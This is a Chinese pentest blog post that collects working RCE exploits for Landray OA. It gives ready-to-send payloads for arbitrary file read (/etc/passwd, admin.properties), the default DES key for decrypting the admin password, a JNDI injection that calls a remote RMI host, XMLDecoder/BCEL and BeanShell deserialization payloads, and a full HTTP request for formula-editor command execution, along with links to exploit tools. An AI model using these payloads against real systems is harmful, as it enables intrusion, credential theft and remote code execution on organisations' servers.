蓝凌(Landray)OA漏洞常见RCE

前言

背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗透或攻防时漏掉。

任意文件读取漏洞

漏洞描述

蓝凌OA(EKP)存在任意文件读取漏洞可能导致敏感信息泄露。

漏洞复现

漏洞路径:/sys/ui/extend/varkind/custom.jsp,访问后抓包,在body中加入payload:var={“body”:{“file”:“file:///etc/passwd”}},发送post请求。
在这里插入图片描述

SSRF+JNDI远程命令执行

漏洞描述

配合上述任意文件读取漏洞获取敏感信息,读取配置文件得到密钥后访问 admin.do 可利用 JNDI远程命令执行获取权限。

漏洞复现

利用任意文件读取/WEB-INF/KmssConfig/admin.properties配置文件
在这里插入图片描述由此获得加密的password,据说蓝凌OA默认为DES加密,且有个默认密钥为 kmssAdminKey,可以拿着password在在线网站上尝试解密(返回的password字符串去掉末尾的/r在进行解密)
在这里插入图片描述用解密出来的明文密码尝试登录后台地址:admin.do,此地址也可能由爆破得到:
在这里插入图片描述在这里插入图片描述burp抓包,body添加payload:method=testDbConn&datasource=rmi://vpsip:port/exp,exp构造同常见的如fastjson所用:
在这里插入图片描述写入想执行的命令并编译成恶意类(编译兼容java1.7)后放到web服务器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)构建一个JNDI服务。
在这里插入图片描述发送payload:
在这里插入图片描述

sysSearchMain.do XMLdecode反序列化(任意文件写入)

漏洞描述

sysSearchMain.do文件,存在任意文件写入漏洞,攻击者获取后台权限后可通过漏洞写入任意文件,也可以通过 custom.jsp 文件未授权写入恶意文件,导致RCE。

漏洞复现

若通过custom.jsp写入,payload为:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java> //使用了BCEL利用链(BCEL包下的ClassLoader类)
同上一漏洞一样编译恶意exp类//不要使用java8u251以后版本
在这里插入图片描述使用BCEL编码工具:https://github.com/Xd-tl/BCELCode
插入发送:
在这里插入图片描述漏洞成因对FdParameters参数过滤不严,传给ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接执行命令,可直接回显或打入内存马,或者后台洞情况,web管理员权限添加反序列化白名单:如bsh.Intepreter(BeanShell利用链中bash.Interpreter的eval方法)
在这里插入图片描述payload:var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回显payload:
在这里插入图片描述//太菜了不懂回显payload细节

公式编辑器RCE

漏洞描述

dataxml.jsp 、treexml.tmpl等代码执行

漏洞复现

漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以尝试一下
payload如:

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();

s_bean或为RuleFormulaValidate对应treexml.tmplsysFormulaValidateByJS
具体原理和利用区别可查看https://unsafe.sh/go-123305.html
最后再放一个OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL
在这里插入图片描述

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值